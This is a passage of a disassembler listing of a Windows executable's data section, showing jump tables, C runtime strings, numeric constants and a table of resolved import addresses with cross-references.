		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083D2
		dd offset loc_4083A2
		dd offset loc_4083D2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083B2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083D2
		dd offset loc_4083A2
		dd offset loc_4083B2
		dd offset loc_4083D2
		dd offset loc_40843A
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_40842D
		dd offset loc_4083A2
		dd offset loc_4083F9
		dd offset loc_408406
		dd offset loc_408406
		dd offset loc_4083F9
		dd offset loc_4083A2
		dd offset loc_4083D2
		dd offset loc_4083EC
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_408413
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083B2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083A2
		dd offset loc_4083DF
dword_40FAF0	dd 232D2B20h, 30h	; DATA XREF: sub_4088A0+E4o
					; sub_4088A0+FDo ...
dword_40FAF8	dd 1, 2, 4, 8, 10h, 0	; DATA XREF: sub_4088A0+EDr
					; sub_44ABC1+EDr
aHjltzl		db 'hjltzL',0           ; DATA XREF: sub_4088A0+1CDo
					; sub_44ABC1+1CDo
		align 4
aConin		db 'CONIN$',0           ; DATA XREF: DMN0:00408B6Eo
					; DMN1:0044AE8Fo
aConout		db 'CONOUT$',0          ; DATA XREF: sub_408B20+1Eo
					; sub_44AE41+1Eo
		align 4
dword_40FB28	dd 0			; DATA XREF: sub_408BE0+24o
					; sub_44AF01+24o
		dd 0FFFFFFFFh, 11h dup(0)
dword_40FB74	dd 0			; DATA XREF: DMN0:off_411894o
dword_40FB78	dd 0			; DATA XREF: sub_409A10+36r
					; sub_409A10+18Br ...
dword_40FB7C	dd 0			; DATA XREF: sub_409A10+3Cr
					; sub_409A10+191r ...
		db 2 dup(0)
word_40FB82	dw 200h			; DATA XREF: DMN0:off_411898o
		dd 4 dup(100010h), 300130h, 300030h, 100030h, 8	dup(100010h)
		dd 400010h, 7 dup(800080h), 30080h, 4 dup(30003h), 800003h
		dd 3 dup(800080h), 3 dup(0A000Ah), 3 dup(80008h)
dword_40FC1C	dd 80008h		; DATA XREF: sub_409CF0+55r
					; sub_44C011+55r
aAaaaaa:
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		unicode	0, <>
		dd 3 dup(60006h), 0Ah dup(40004h), 2 dup(800080h)
dword_40FC80	dd 10h,	40h dup(0)	; DATA XREF: sub_409CF0+18r
					; sub_44C011+18r
		dd offset loc_40A0C7
		dd offset loc_40A3F7
		dd offset loc_40A3F7
		dd offset loc_40A3F7
		dd offset loc_40A0C7
		dd offset loc_40A0C7
		dd offset loc_40A0C7
		dd offset loc_40A0C7
		dd offset loc_40A3F7
		dd offset loc_409D4C
		dd offset loc_409DBB
		dd offset loc_40A0C7
		dd offset loc_40A0C7
		dd offset loc_40A0C7
		dd offset loc_40A3F7
		dd offset loc_409DBB
		dd offset loc_40A3F7
		dd offset loc_40A3F7
		dd offset loc_40A3F7
		dd offset loc_40A3F7
		dd offset loc_40A189
		dd offset loc_409F53
		dd offset loc_40A2C1
		dd offset loc_40A3F7
		dd offset loc_40A3F7
		dd offset loc_40A31F
		dd offset loc_40A3F7
		dd offset loc_409F53
		dd offset loc_40A3F7
		dd offset loc_40A3F7
		dd offset loc_409F53
dword_40FE00	dd 6C756E28h, 296Ch	; DATA XREF: sub_409CF0+661o
					; sub_44C011+661o
asc_40FE08	db '                                ',0 ; DATA XREF: sub_40A430+54o
					; sub_40A430+23Do ...
a00000000000000	db '00000000000000000000000000000000',0 ; DATA XREF: sub_40A430+D8o
					; sub_40A430+15Co ...
		align 4
dword_40FE4C	dd 0			; DATA XREF: sub_40A6A0+Dr
					; sub_44C9C1+Dr
		dd 0
		dd 1, 2
		db 2 dup(0)
word_40FE5E	dw 0E000h		; DATA XREF: DMN0:004118A4o
					; DMN0:004118E4o ...
		dd 0E002E001h, 0E004E003h, 0E006E005h, 0E008E007h, 0E00AE009h
		dd 0E00CE00Bh, 0E00EE00Dh, 0E010E00Fh, 0E012E011h, 0E014E013h
		dd 0E016E015h, 0E018E017h, 0E01AE019h, 0E01CE01Bh, 0E01EE01Dh
		dd 0E020E01Fh, 0E022E021h, 0E024E023h, 0E026E025h, 0E028E027h
		dd 0E02AE029h, 0E02CE02Bh, 0E02EE02Dh, 0E030E02Fh, 0E032E031h
		dd 0E034E033h, 0E036E035h, 0E038E037h, 0E03AE039h, 0E03CE03Bh
		dd 0E03EE03Dh, 0E040E03Fh, 0E042E041h, 0E044E043h, 0E046E045h
		dd 0E048E047h, 0E04AE049h, 0E04CE04Bh, 0E04EE04Dh, 0E050E04Fh
		dd 0E052E051h, 0E054E053h, 0E056E055h, 0E058E057h, 0E05AE059h
		dd 0E05CE05Bh, 0E05EE05Dh, 0E060E05Fh, 0E062E061h, 0E064E063h
		dd 0E066E065h, 0E068E067h, 0E06AE069h, 0E06CE06Bh, 0E06EE06Dh
		dd 0E070E06Fh, 0E072E071h, 0E074E073h, 0E076E075h, 0E078E077h
		dd 0E07AE079h, 0E07CE07Bh, 0E07EE07Dh, 0E080E07Fh, 0E082E081h
		dd 0E084E083h, 0E086E085h, 0E088E087h, 0E08AE089h, 0E08CE08Bh
		dd 0E08EE08Dh, 0E090E08Fh, 0E092E091h, 0E094E093h, 0E096E095h
		dd 0E098E097h, 0E09AE099h, 0E09CE09Bh, 0E09EE09Dh, 0E0A0E09Fh
		dd 0E0A2E0A1h, 0E0A4E0A3h, 0E0A6E0A5h, 0E0A8E0A7h, 0E0AAE0A9h
		dd 0E0ACE0ABh, 0E0AEE0ADh, 0E0B0E0AFh, 0E0B2E0B1h, 0E0B4E0B3h
		dd 0E0B6E0B5h, 0E0B8E0B7h, 0E0BAE0B9h, 0E0BCE0BBh, 0E0BEE0BDh
		dd 0E0C0E0BFh, 0E0C2E0C1h, 0E0C4E0C3h, 0E0C6E0C5h, 0E0C8E0C7h
		dd 0E0CAE0C9h, 0E0CCE0CBh, 0E0CEE0CDh, 0E0D0E0CFh, 0E0D2E0D1h
		dd 0E0D4E0D3h, 0E0D6E0D5h, 0E0D8E0D7h, 0E0DAE0D9h, 0E0DCE0DBh
		dd 0E0DEE0DDh, 0E0E0E0DFh, 0E0E2E0E1h, 0E0E4E0E3h, 0E0E6E0E5h
		dd 0E0E8E0E7h, 0E0EAE0E9h, 0E0ECE0EBh, 0E0EEE0EDh, 0E0F0E0EFh
		dd 0E0F2E0F1h, 0E0F4E0F3h, 0E0F6E0F5h, 0E0F8E0F7h, 0E0FAE0F9h
		dd 0E0FCE0FBh, 0E0FEE0FDh, 0E0FFh
aNull:					; DATA XREF: sub_40AF70+81o
					; sub_44D291+81o
		unicode	0, <(null)>,0
		align 10h
a0123456789ab_0	db '0123456789abcdef',0 ; DATA XREF: sub_40B0C0:loc_40B0D8o
					; sub_44D3E1:loc_44D3F9o
a0123456789abcd	db '0123456789ABCDEF',0 ; DATA XREF: sub_40B0C0+Fo
					; sub_44D3E1+Fo
		align 4
dbl_410094	dq 1.0e1		; DATA XREF: sub_40B310+3E4r
					; sub_40B310+42Dr ...
		dd 0
		dd 40590000h, 0
		dd 40C38800h, 0
		dd 4197D784h, 37E08000h, 4341C379h, 0B5056E17h,	4693B8B5h
		dd 0E93FF9F5h, 4D384F03h, 0F9301D32h, 5A827748h, 7F73BF3Ch
		dd 75154FDDh
dbl_4100DC	dq 1.0e8		; DATA XREF: sub_40B310+4B5r
					; sub_44D631+4B5r
dbl_4100E4	dq 1.0			; DATA XREF: sub_40B310+403r
					; sub_44D631+403r
dbl_4100EC	dq 0.0			; DATA XREF: sub_40B310+1BCr
					; sub_40B310+28Ar ...
a0123456789ab_2	db '0123456789ABCDEF',0 ; DATA XREF: sub_40B310:loc_40B494o
					; sub_44D631:loc_44D7B5o
a0123456789ab_1	db '0123456789abcdef',0 ; DATA XREF: sub_40B310+17Bo
					; sub_44D631+17Bo
off_410116	dd offset byte_464E49	; DATA XREF: sub_40B310:loc_40B3FCo
					; sub_44D631:loc_44D71Do
word_41011A	dw 6E69h		; DATA XREF: sub_40B310:loc_40B3F3o
					; sub_44D631:loc_44D714o
		db 66h,	0
word_41011E	dw 414Eh		; DATA XREF: sub_40B310:loc_40B3AAo
					; sub_44D631:loc_44D6CBo
byte_410120	db 4Eh,	0		; DATA XREF: sub_40BD80+5Br
					; sub_44E0A1+5Br
word_410122	dw 616Eh		; DATA XREF: sub_40B310:loc_40B3A1o
		dd 6Eh,	40BE08h, 40BE23h, 40BDFFh, 40BE23h, 40BDEAh, 40BE23h
		dd 40BDF6h, 2 dup(40BE23h), 40BE11h
aTerminating	db ' -- terminating',0Ah,0 ; DATA XREF: sub_40BD80+10Do
					; sub_44E0A1+10Do
aSignal		db 'signal #',0         ; DATA XREF: sub_40BD80+EAo
					; sub_44E0A1+EAo
aTerminationReq	db 'termination request',0 ; DATA XREF: sub_40BD80:loc_40BE1Ao
					; sub_44E0A1:loc_44E13Bo
aInvalidStorage	db 'invalid storage access',0 ; DATA XREF: sub_40BD80+91o
					; sub_44E0A1+91o
aInterruption	db 'interruption',0     ; DATA XREF: sub_40BD80+88o
					; sub_44E0A1+88o
aInvalidExecuta	db 'invalid executable code',0 ; DATA XREF: sub_40BD80+7Fo
					; sub_44E0A1+7Fo
aArithmeticErro	db 'arithmetic error',0 ; DATA XREF: sub_40BD80+76o
					; sub_44E0A1+76o
aAbort		db 'abort',0            ; DATA XREF: sub_40BD80+6Ao
					; sub_44E0A1+6Ao
		align 4
dword_4101D4	dd 0			; DATA XREF: sub_40BFA0+23r
					; sub_40BFA0+10Fr ...
dword_4101D8	dd 0			; DATA XREF: sub_40BFA0+29r
					; sub_40BFA0+115r ...
		align 10h
dword_4101E0	dd 30h			; DATA XREF: sub_40C470+1Eo
					; sub_44E791+1Eo
byte_4101E4	db 0			; DATA XREF: DMN0:004119A4o
					; DMN0:004119A8o ...
byte_4101E5	db 2Eh,	2 dup(0)	; DATA XREF: DMN0:off_4119D0o
		dd 0
dword_4101EC	dd 385h	dup(0)		; DATA XREF: sub_407B60+73o
					; sub_407B60:loc_407BDFo ...
dword_411000	dd 1			; DATA XREF: sub_40122A:loc_401237w
					; sub_40122A+13r ...
dword_411004	dd 0			; DATA XREF: sub_403C3F+66r
					; sub_403C3F+86w ...
dword_411008	dd 0			; DATA XREF: sub_40238A+7r
					; sub_40238A+43w ...
dword_41100C	dd 0			; DATA XREF: sub_40356A+2Ar
					; sub_40356A:loc_4035CDr ...
dword_411010	dd 0			; DATA XREF: sub_40356A+1Er
					; sub_40356A+46r ...
dword_411014	dd 0			; DATA XREF: sub_40399A+189o
					; sub_403C3F+317o ...
dword_411018	dd 0			; DATA XREF: sub_403604+1r
					; sub_403604+1Fw ...
dword_41101C	dd 0			; DATA XREF: DMN0:004036A3r
					; DMN0:004036C1w ...
		dd 0
dword_411024	dd 0			; DATA XREF: sub_40356A+58o
					; sub_40356A+86o ...
dword_411028	dd 0			; DATA XREF: sub_40410E+1r
					; sub_40410E+1Fw ...
dword_41102C	dd 0			; DATA XREF: sub_404967+22Eo
					; sub_404967+2EBo ...
dword_411030	dd 0			; DATA XREF: sub_40400E+32r
					; sub_40400E+9Br ...
byte_411034	db 5Ah			; DATA XREF: sub_4041FB+19r
					; sub_44651C+19r
		db 3 dup(5Bh)
		dd 5B5B5B5Bh, 5B5Bh
dword_411040	dd 0			; DATA XREF: DMN0:00405BDEw
					; DMN1:00447EFFw
dword_411044	dd 2 dup(0)		; DATA XREF: DMN0:00405ACAo
					; DMN1:00447DEBo
dword_41104C	dd 0			; DATA XREF: sub_405DB5+Bw
					; sub_405DB5+25r ...
dword_411050	dd 0			; DATA XREF: sub_405FBD+Dr
					; sub_405FBD+B9w ...
dword_411054	dd 0			; DATA XREF: sub_405EB2+Cr
					; sub_405EB2+15r ...
dword_411058	dd 0			; DATA XREF: sub_40643C+Fo
					; sub_44875D+Fo
dword_41105C	dd 0			; DATA XREF: sub_4074C0+35r
					; sub_4074C0+3Ew ...
dword_411060	dd 0			; DATA XREF: sub_407AA0+45r
					; sub_407AA0+62r ...
		dd 4Fh dup(0)
dword_4111A0	dd 50h			; DATA XREF: sub_407AA0:loc_407AD7r
					; sub_407AA0+3Fw ...
dword_4111A4	dd 0			; DATA XREF: sub_407AA0:loc_407AF7r
					; sub_407AA0+5Dw ...
dword_4111A8	dd 0			; DATA XREF: sub_406E30+18Ew
					; sub_406E30+1B1r ...
		dd 6 dup(0)
		dd 0B5FFF8h, 0
dword_4111CC	dd 0B5FFFCh		; DATA XREF: sub_4071B0+38r
					; sub_407C90+8Br ...
dword_4111D0	dd 0B50004h		; DATA XREF: sub_4071B0+30r
					; sub_407C90+C1r ...
dword_4111D4	dd 0B50000h		; DATA XREF: sub_407C90+97r
					; sub_407C90:loc_407D34r ...
dword_4111D8	dd 8			; DATA XREF: sub_406E30+66r
					; sub_406E30+10Br ...
dword_4111DC	dd 10h			; DATA XREF: sub_406E30+5Dr
					; sub_406E30+FEr ...
dword_4111E0	dd 20h			; DATA XREF: sub_406E30:loc_406EA8r
					; sub_406E30+121r ...
dword_4111E4	dd 40h			; DATA XREF: sub_406E30+54r
					; sub_406E30+F1r ...
dword_4111E8	dd 80h			; DATA XREF: sub_406E30+99r
					; sub_406E30+14Ar ...
dword_4111EC	dd 100h			; DATA XREF: sub_406E30:loc_406EC0r
					; sub_406E30+13Dr ...
dword_4111F0	dd 200h			; DATA XREF: sub_406E30:loc_406EDEr
					; sub_406E30+163r ...
		dd 400h
dword_4111F8	dd 7			; DATA XREF: sub_406E30+19Cr
					; sub_406E30:loc_406FD6w ...
dword_4111FC	dd 7			; DATA XREF: sub_406E30+361w
					; sub_407C90+175w ...
dword_411200	dd 19930520h, 3	dup(0)	; DATA XREF: DMN0:00408642o
					; sub_408649+2o ...
off_411210	dd offset dword_41283C	; DATA XREF: sub_408760r
					; sub_4087A0:loc_4087A6r ...
off_411214	dd offset dword_412824	; DATA XREF: sub_408760+Cr
					; sub_4087A0+38r ...
off_411218	dd offset dword_41280C	; DATA XREF: sub_408760+18r
					; sub_4087A0+44r ...
off_41121C	dd offset dword_4127F4	; DATA XREF: sub_408760+24r
					; sub_4087A0+50r ...
		dd 5 dup(0)
dword_411234	dd 0			; DATA XREF: sub_408B20r sub_408B20+9r ...
dword_411238	dd 0			; DATA XREF: DMN0:00408B50r
					; DMN0:00408B59r ...
		dd 14h dup(0)
dword_41128C	dd 1, 0			; DATA XREF: DMN0:off_411370o
		dd offset byte_4112D4
		dd offset byte_4112D5
		dd offset byte_4112D4
		dd offset byte_4112D4
		dd offset byte_4112D4
		dd offset byte_4112D4
		dd offset dword_4112B4
		dd 0
dword_4112B4	dd 8 dup(0)		; DATA XREF: DMN0:004112ACo
byte_4112D4	db 0			; DATA XREF: DMN0:00411294o
					; DMN0:0041129Co ...
byte_4112D5	db 3 dup(0)		; DATA XREF: DMN0:00411298o
dword_4112D8	dd 802h, 1, 411320h, 411321h, 4	dup(411320h), 411300h
					; DATA XREF: DMN0:00411374o
		dd 0Ah dup(0)
dword_411324	dd 802h, 2, 41123Ch, 41128Ch, 3	dup(41123Ch), 41136Ch
					; DATA XREF: sub_40BD80+E5o
					; sub_40BD80:loc_40BE77o ...
		dd 41134Ch, 0Ah	dup(0)
off_411370	dd offset dword_41128C	; DATA XREF: sub_4074A0:loc_4074A3r
					; sub_407540:loc_4075ACr ...
		dd offset dword_4112D8
		dd offset dword_411324
		dd 0FDh	dup(0)
dword_411770	dd 7			; DATA XREF: sub_407930+2Ar
					; sub_409090+Cw ...
dword_411774	dd 0C0000005h, 0Bh, 0C000001Dh,	4, 0C0000096h, 4, 0C000008Dh
					; DATA XREF: sub_409260+7o
					; sub_44B581+7o
		dd 8, 0C000008Eh, 8, 0C000008Fh, 8, 0C0000090h,	8, 0C0000091h
		dd 8, 0C0000092h, 8, 0C0000093h, 8
dword_4117C4	dd 1			; DATA XREF: sub_409260:loc_4092B2o
					; sub_4097D0+82w ...
dword_4117C8	dd 0B5005Ch		; DATA XREF: sub_4097D0+87w
					; sub_44BAF1+87w
		align 10h
dword_4117D0	dd 392318h		; DATA XREF: sub_409870+55w
					; sub_409870+5Ar ...
		align 8
dword_4117D8	dd 0B50000h		; DATA XREF: sub_409970+Cr
					; sub_409970+2Aw ...
dword_4117DC	dd 2000000h		; DATA XREF: sub_407B60+31w
					; sub_409970+1Cr ...
dword_4117E0	dd 400h			; DATA XREF: sub_407C90+2Ew
					; sub_408260+2Dr ...
dword_4117E4	dd 2Ch dup(0)		; DATA XREF: sub_409120+16o
					; sub_4091C0+5Co ...
off_411894	dd offset dword_40FB74	; DATA XREF: sub_409870+16r
					; sub_409870+A2r ...
off_411898	dd offset word_40FB82	; DATA XREF: sub_4088A0+160r
					; sub_4088A0+1BBr ...
dword_41189C	dd 0			; DATA XREF: sub_40AE10+99r
					; sub_40AE10:loc_40AEC8w ...
byte_4118A0	db 3			; DATA XREF: sub_40AF70+2Ar
					; sub_40BFA0+14Ar ...
		align 4
		dd offset word_40FE5E
		dd 0Fh dup(0)
		dd offset word_40FE5E
		dd 0Fh dup(0)
off_411924	dd offset word_40FE5E	; DATA XREF: sub_409A10+20r
					; sub_409A10+19Cr ...
		dd 0Fh dup(0)
off_411964	dd offset word_40FE5E	; DATA XREF: sub_40BFA0+13Cr
					; sub_44E2C1+13Cr
		dd 0Fh dup(0)
		dd offset byte_4101E4
		dd offset byte_4101E4
		dd offset byte_4101E4
		dd offset byte_4101E4
		dd offset byte_4101E4
		dd offset byte_4101E4
		dd offset byte_4101E4
		dd 3 dup(7F7F7F7Fh), 7F7Fh
off_4119D0	dd offset byte_4101E5	; DATA XREF: sub_40C470+7r
					; sub_44E791+7r
		dd offset byte_4101E4
		dd offset byte_4101E4
dbl_4119DC	dq 1.797693134862316e308 ; DATA	XREF: sub_40D050+8Ar
					; sub_40D050:loc_40D0E7r ...
		dd 0
		dd 7FF80000h, 0
		dd 3C900000h, 0
		dd 3E400000h, 0
		dd 40320000h, 2	dup(0)
		dd 11A84h, 2 dup(0)
		dd 122AEh, 11CC4h, 11BE4h, 2 dup(0)
		dd 124B2h, 11E24h, 11C48h, 2 dup(0)
		dd 1251Ch, 11E88h, 11CA8h, 2 dup(0)
		dd 1253Ch, 11EE8h, 11CB0h, 2 dup(0)
		dd 12598h, 11EF0h, 5 dup(0)
		dd 11F04h, 11F14h, 11F30h, 11F48h, 11F60h, 11F70h, 11F80h
		dd 11F96h, 11FA4h, 11FBAh, 11FCAh, 11FDAh, 11FECh, 12000h
		dd 1200Eh, 12020h, 12028h, 1203Eh, 1204Eh, 1205Ch, 1206Eh
		dd 1207Eh, 1208Ch, 1209Ch, 120B0h, 120BCh, 120D2h, 120ECh
		dd 120FAh, 12110h, 1211Ch, 12128h, 12138h, 12144h, 1215Eh
		dd 12174h, 12182h, 12192h, 121A4h, 121B4h, 121C4h, 121D8h
		dd 121EAh, 121FEh, 12210h, 12226h, 1223Ch, 1224Ah, 1225Eh
		dd 1227Ah, 1228Ch, 1229Ch, 125A4h, 125B4h, 125C2h, 125D2h
		dd 125E2h, 125F0h, 12602h, 1260Eh, 1261Ch, 1262Ah, 12636h
		dd 12644h, 12650h, 1265Ch, 1266Ch, 12684h, 12692h, 1269Eh
		dd 126B4h, 126BEh, 126CCh, 126E8h, 12702h, 12710h, 12722h
		dd 12734h, 1274Ch, 12766h, 12776h, 12786h, 12792h, 127A2h
		dd 127BAh, 127CCh, 127D8h, 0
		dd 122BCh, 122CEh, 122E0h, 122EEh, 122FEh, 1230Eh, 1232Eh
		dd 1234Ah, 1235Ah, 1236Eh, 12380h, 12390h, 123A6h, 123BCh
		dd 123D4h, 123ECh, 123FCh, 1240Eh, 1241Eh, 12432h, 12450h
		dd 1246Eh, 12486h, 1249Ah, 0
		dd 80000073h, 80000074h, 80000017h, 80000015h, 80000003h
		dd 80000012h, 8000000Ch, 80000009h, 80000004h, 80000002h
		dd 8000000Dh, 80000001h, 8000000Fh, 80000010h, 80000013h
		dd 8000000Ah, 80000034h, 80000006h, 80000039h, 8000000Bh
		dd 80000014h, 80000011h, 8000006Fh, 0
		dd 12528h, 0
		dd 1254Ah, 1255Ah, 1256Eh, 12584h, 0
dword_411CC4	dd 7C80929Ch		; DATA XREF: sub_401001:loc_40100Br
					; sub_402562+6r ...
dword_411CC8	dd 7C809EF1h		; DATA XREF: sub_40103C+5r
					; sub_401097+5r ...
dword_411CCC	dd 7C901005h		; DATA XREF: sub_401048+9r
					; sub_401076+5r ...
dword_411CD0	dd 7C9010EDh		; DATA XREF: sub_401048+23r
					; sub_401076+1Ar ...
dword_411CD4	dd 7C812F39h		; DATA XREF: DMN0:004010C1r
					; sub_409360+1B2r ...
dword_411CD8	dd 7C80A7D4h		; DATA XREF: DMN0:0040117Cr
					; DMN1:0044349Dr
dword_411CDC	dd 7C80B4CFh		; DATA XREF: sub_402296+18r
					; DMN0:00402353r ...
dword_411CE0	dd 7C80998Dh		; DATA XREF: sub_40238A+14r
					; sub_40592F+Dr ...
dword_411CE4	dd 7C80945Ch		; DATA XREF: sub_4023DC+1Fr
					; sub_4446FD+1Fr
dword_411CE8	dd 7C910331h		; DATA XREF: sub_4023DC+2Br
					; sub_403604+2Dr ...
dword_411CEC	dd 7C80B905h		; DATA XREF: sub_4023DC+44r
					; sub_402449+29r ...
dword_411CF0	dd 7C80B974h		; DATA XREF: sub_4023DC+62r
					; sub_402449+47r ...
dword_411CF4	dd 7C80BB76h		; DATA XREF: sub_402449+11r
					; sub_4024A6+12r ...
dword_411CF8	dd 7C809B47h		; DATA XREF: sub_402449+51r
					; sub_4024A6+5Er ...
dword_411CFC	dd 7C80D077h		; DATA XREF: sub_402511+33r
					; sub_40544D+33r ...
dword_411D00	dd 7C802442h		; DATA XREF: sub_402562+32r
					; sub_40356A+Br ...
dword_411D04	dd 7C80978Eh		; DATA XREF: sub_40356A+5Dr
					; sub_40356A+8Br ...
dword_411D08	dd 7C80E93Fh		; DATA XREF: sub_403604+19r
					; DMN0:004036BBr ...
dword_411D0C	dd 7C80EA1Bh		; DATA XREF: sub_403658+10r
					; sub_4036F6+10r ...
dword_411D10	dd 7C802367h		; DATA XREF: sub_403723+DCr
					; DMN0:00404D4Dr ...
dword_411D14	dd 7C910340h		; DATA XREF: sub_403838+BDr
					; sub_409150+59r ...
dword_411D18	dd 7C831EABh		; DATA XREF: sub_403838+13Br
					; sub_40399A+1ACr ...
dword_411D1C	dd 7C835DCAh		; DATA XREF: sub_40399A+3Cr
					; sub_40399A+93r ...
dword_411D20	dd 7C8608FFh		; DATA XREF: sub_40399A+57r
					; sub_40399A+AEr ...
dword_411D24	dd 7C8286EEh		; DATA XREF: sub_40399A+C4r
					; sub_4067B0+18Fr ...
dword_411D28	dd 7C812782h		; DATA XREF: sub_40399A+DEr
					; sub_405EB2+8Ar ...
dword_411D2C	dd 7C8097B6h		; DATA XREF: sub_403C3F+31Cr
					; DMN1:0044627Cr
dword_411D30	dd 7C81CDDAh		; DATA XREF: sub_403FEA+10r
					; sub_409250+5r ...
dword_411D34	dd 7C802520h		; DATA XREF: sub_40400E+23r
					; sub_40592F+E5r ...
dword_411D38	dd 7C80BAA1h		; DATA XREF: sub_4040C3+36r
					; sub_405170+B5r ...
dword_411D3C	dd 7C810111h		; DATA XREF: sub_404FE9+A7r
					; sub_44730A+A7r
dword_411D40	dd 7C8308ADh		; DATA XREF: DMN0:004053CDr
					; sub_40592F+51r ...
dword_411D44	dd 7C80A017h		; DATA XREF: DMN0:004053DAr
					; sub_405D3F+65r ...
dword_411D48	dd 7C80A05Dh		; DATA XREF: sub_40592F+C7r
					; sub_447C50+C7r
dword_411D4C	dd 7C81153Ch		; DATA XREF: sub_405CA2+14r
					; sub_4067B0+28Dr ...
dword_411D50	dd 7C80A03Bh		; DATA XREF: sub_405D3F+11r
					; sub_4064E1+7r ...
dword_411D54	dd 7C80BE89h		; DATA XREF: sub_405EB2+31r
					; sub_4481D3+31r
dword_411D58	dd 7C80BC69h		; DATA XREF: sub_405EB2+44r
					; sub_4481D3+44r
dword_411D5C	dd 7C809FB5h		; DATA XREF: sub_405EB2+5Fr
					; sub_4481D3+5Fr
dword_411D60	dd 7C80CC97h		; DATA XREF: sub_405EB2+73r
					; sub_4481D3+73r
dword_411D64	dd 7C80DDF5h		; DATA XREF: sub_406101+1Br
					; sub_409360+1D3r ...
dword_411D68	dd 7C809A72h		; DATA XREF: sub_40617B+21r
					; sub_44849C+21r
dword_411D6C	dd 7C80B6A1h		; DATA XREF: sub_40617B+7Ar
					; sub_407B60+9Ar ...
dword_411D70	dd 7C80ADA0h		; DATA XREF: sub_40617B+91r
					; sub_40617B+A2r ...
dword_411D74	dd 7C80220Fh		; DATA XREF: sub_40617B+E6r
					; sub_44849C+E6r
dword_411D78	dd 7C81042Ch		; DATA XREF: sub_40617B+11Dr
					; sub_44849C+11Dr
dword_411D7C	dd 7C8309E1h		; DATA XREF: sub_4062A5+15r
					; sub_4485C6+15r
dword_411D80	dd 7C821435h		; DATA XREF: sub_4062A5+5Cr
					; sub_4485C6+5Cr
dword_411D84	dd 7C864B0Fh		; DATA XREF: sub_406D5Cr sub_44907Dr
dword_411D88	dd 7C863DE5h		; DATA XREF: sub_406D62r sub_449083r
dword_411D8C	dd 7C863F58h		; DATA XREF: sub_406D68r sub_449089r
dword_411D90	dd 7C812F1Dh		; DATA XREF: sub_4067B0+44r
					; sub_4097D0+Br ...
dword_411D94	dd 7C81CF25h		; DATA XREF: sub_4072E0+1Br
					; DMN1:0044961Cr
dword_411D98	dd 7C809BC5h		; DATA XREF: sub_407930+30r
					; sub_409090+31r ...
dword_411D9C	dd 7C810637h		; DATA XREF: sub_4079D0+38r
					; sub_449CF1+38r
dword_411DA0	dd 7C8328F7h		; DATA XREF: sub_4079D0+54r
					; sub_449CF1+54r
dword_411DA4	dd 7C80C058h		; DATA XREF: sub_407A60+30r
					; sub_449D81+30r
dword_411DA8	dd 7C801EEEh		; DATA XREF: sub_407B60+92r
					; sub_409360+5Er ...
dword_411DAC	dd 7C937A40h		; DATA XREF: sub_40D4E0r sub_44F801r
dword_411DB0	dd 7C812BB6h		; DATA XREF: sub_408670+9r
					; sub_44A991+9r
dword_411DB4	dd 7C810EF8h		; DATA XREF: DMN0:00408696r
					; DMN1:0044A9B7r
dword_411DB8	dd 7C9105D4h		; DATA XREF: sub_4086B0+Dr
					; sub_44A9D1+Dr
dword_411DBC	dd 7C9179FDh		; DATA XREF: DMN0:004086E3r
					; DMN1:0044AA04r
dword_411DC0	dd 7C91043Dh		; DATA XREF: sub_4086F0+Dr
					; sub_44AA11+Dr
dword_411DC4	dd 7C9109EDh		; DATA XREF: DMN0:0040871Fr
					; DMN1:0044AA40r
dword_411DC8	dd 7C85E9BBh		; DATA XREF: DMN0:0040874Dr
					; DMN1:0044AA6Er
dword_411DCC	dd 7C91188Ah		; DATA XREF: sub_4087A0+12r
					; sub_4087A0+32r ...
dword_411DD0	dd 7C801A24h		; DATA XREF: sub_408B20+23r
					; DMN0:00408B73r ...
dword_411DD4	dd 7C812D9Fh		; DATA XREF: sub_409090+6r
					; sub_44B3B1+6r
dword_411DD8	dd 7C809728h		; DATA XREF: sub_409090+46r
					; sub_409150+42r ...
dword_411DDC	dd 7C8136D7h		; DATA XREF: DMN0:00409107r
					; DMN1:0044B428r
dword_411DE0	dd 7C809740h		; DATA XREF: sub_409150+10r
					; sub_4091C0+1Br ...
dword_411DE4	dd 7C862E2Ah		; DATA XREF: sub_409260+5Fr
					; sub_44B581+5Fr
dword_411DE8	dd 7C8017E5h		; DATA XREF: sub_409300+5r
					; DMN0:0040931Br ...
dword_411DEC	dd 7C810E51h		; DATA XREF: sub_409360+130r
					; sub_409360+1C6r ...
dword_411DF0	dd 7C80DDFEh		; DATA XREF: sub_409360+1F5r
					; sub_44B681+1F5r
dword_411DF4	dd 7C80CC97h		; DATA XREF: sub_409360+24Ar
					; sub_44B681+24Ar
dword_411DF8	dd 7C81CF5Bh		; DATA XREF: sub_409870+9r
					; sub_44BB91+9r
dword_411DFC	dd 7C81DF77h		; DATA XREF: sub_409870+B0r
